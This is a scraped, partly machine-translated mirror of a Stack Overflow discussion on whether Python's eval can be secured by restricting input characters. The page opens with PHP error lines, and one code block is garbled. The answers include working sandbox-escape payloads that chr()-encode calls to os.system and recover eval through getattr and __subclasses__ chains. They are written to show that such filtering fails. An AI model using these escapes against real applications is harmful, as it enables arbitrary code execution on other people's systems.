Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/python/311.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
有没有一种方法可以保护Python的字符串';什么是评估?_Python_Security_Eval - Fatal编程技术网

有没有一种方法可以保护Python的字符串';什么是评估?

有没有一种方法可以保护Python的字符串';什么是评估?,python,security,eval,Python,Security,Eval,在不安全的字符串上使用Python的eval有很多问题(例如:,)。一致的答案是这是个坏主意 然而,我发现很少有关于哪些字符串可以被认为是安全的(如果有的话)。 现在我想知道是否有“安全字符串”的定义(例如:只包含小写ascii字符或任何符号+-*/())的字符串)。我发现的漏洞利用通常依赖于.,:[]”或类似的方法。这种方法是否安全(用于图形绘制web应用程序) 否则,我想使用Alex Martelli建议的解析包是唯一的方法 编辑: 不幸的是,对于为什么/如何将上述字符串视为不安全的(一个微

不安全的字符串上使用Python的eval有很多问题(例如:,)。一致的答案是这是个坏主意

然而,我发现很少有关于哪些字符串可以被认为是安全的(如果有的话)。 现在我想知道是否有“安全字符串”的定义(例如:只包含小写ascii字符或任何符号+-*/())的字符串)。我发现的漏洞利用通常依赖于.,:[]”或类似的方法。这种方法是否安全(用于图形绘制web应用程序)

否则,我想使用Alex Martelli建议的解析包是唯一的方法

编辑:
不幸的是,对于为什么/如何将上述字符串视为不安全的(一个微小的工作漏洞),目前还没有令人信服的解释也没有相反的解释。我知道应该避免使用eval,但这不是问题所在。因此,我将奖励第一个提出有效利用漏洞或非常好的解释为什么要考虑使用如上所述的损坏字符串的人(在中)安全。

不,没有,或者至少没有一种明智的、真正安全的方法。Python是一种高度动态的语言,它的另一面是,很容易颠覆任何锁定该语言的企图

您需要为所需的子集编写自己的解析器,或者在遇到特定情况时使用现有的解析器,如
ast.literal\u eval()
。使用为手头的工作设计的工具,而不是试图强迫现有的解析器来完成您非常想要的工作

编辑:

两个字符串的示例,当符合您的描述时,如果按顺序执行
eval()
ed,则会执行任意代码(此特定示例运行
evil.\uu方法\uuu()


实际上,你可能应该避免评估

但是,如果您坚持使用它,您可以确保您的字符串是字母数字的。这应该是安全的。

这里您有一个有效的“漏洞”和您的限制-只包含小写ascii字符或任何符号+-*/()。 它依赖于第二评估层

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)
输出:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user
这是一个非常琐碎的“利用”。我确信还有无数其他的,即使有进一步的角色限制。
值得重复的是,应该始终使用解析器或ast.literal_eval()。只有通过解析令牌,才能确保字符串可以安全地进行计算。其他任何东西都是对房子不利的。

类似于goncalopp的利用漏洞,但也满足以下限制,即字符串
'eval'
不是该漏洞的子字符串:

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())
它使用genexp和元组解包的组合来调用带有两个参数的
getattr
,而不使用逗号

用法示例:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0
这证明,仅在文本上定义使代码安全的限制是非常困难的。甚至像代码中的
'eval'这样的东西也不安全。要么您必须完全消除执行函数调用的可能性,要么您必须从
eval
的环境中删除所有危险的内置项。我的漏洞也存在显示
getattr
eval
一样糟糕,即使您不能使用逗号,因为它允许您随意进入对象层次结构。例如,即使环境不提供,您也可以获得真正的
eval
函数:

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>
def real_eval():
get\u subclass=\u make\u getattr\u call(
_打电话(
_调用(“()”,
致"chrs"("类别"),,
至"基址",,
to_chrs(“子类”)+“()”
catch_warnings='next(如果%s==%s,则c代表%s中的c)(')(获取_子类,
_打电话('c',
致chrs(“姓名”),
发送至chrs(“捕获警告”)
return\u make\u getattr\u call(
_打电话(
_进行呼叫(捕捉警告,发送至chrs(“模块”),
至“chrs”(“内置式”),
到chrs('get'))+'(%s)%到chrs('eval'))
>>>否\u eval=\uuuuuuu内置\uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu
>>>删除否评估[“评估”]
>>>eval(real_eval(),{“内置”:no_eval})
即使删除了所有内置项,代码也会变得安全:

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
>>>eval(real_eval(),{'''u__内置:无})
回溯(最近一次呼叫最后一次):
文件“”,第1行,在
文件“”,第1行,在
NameError:未定义名称“getattr”
请注意,将
“内置”设置为
None
也会删除
chr
列表
元组
等。 您的字符限制和
“内置”
None
的组合是完全安全的,因为用户无法访问任何内容。他不能使用
、括号
[]
或任何内置函数或类型

尽管我必须这样说,你们能评估的东西是非常有限的,你们只能对数字进行运算

也许从内置中删除
eval
getattr
chr
就足够了,这样代码就安全了,至少我想不出一种方法来编写一个不使用其中一个的漏洞


“解析”方法可能更安全,也更灵活。例如,recipe非常好,而且可以轻松自定义以添加更多限制。

要研究如何进行安全评估,我建议使用受限Python模块(超过10年的生产使用,一款优秀的Python软件)

RestrictedPython获取Python源代码并修改其AST(抽象语法树)以进行求值
>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined
if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)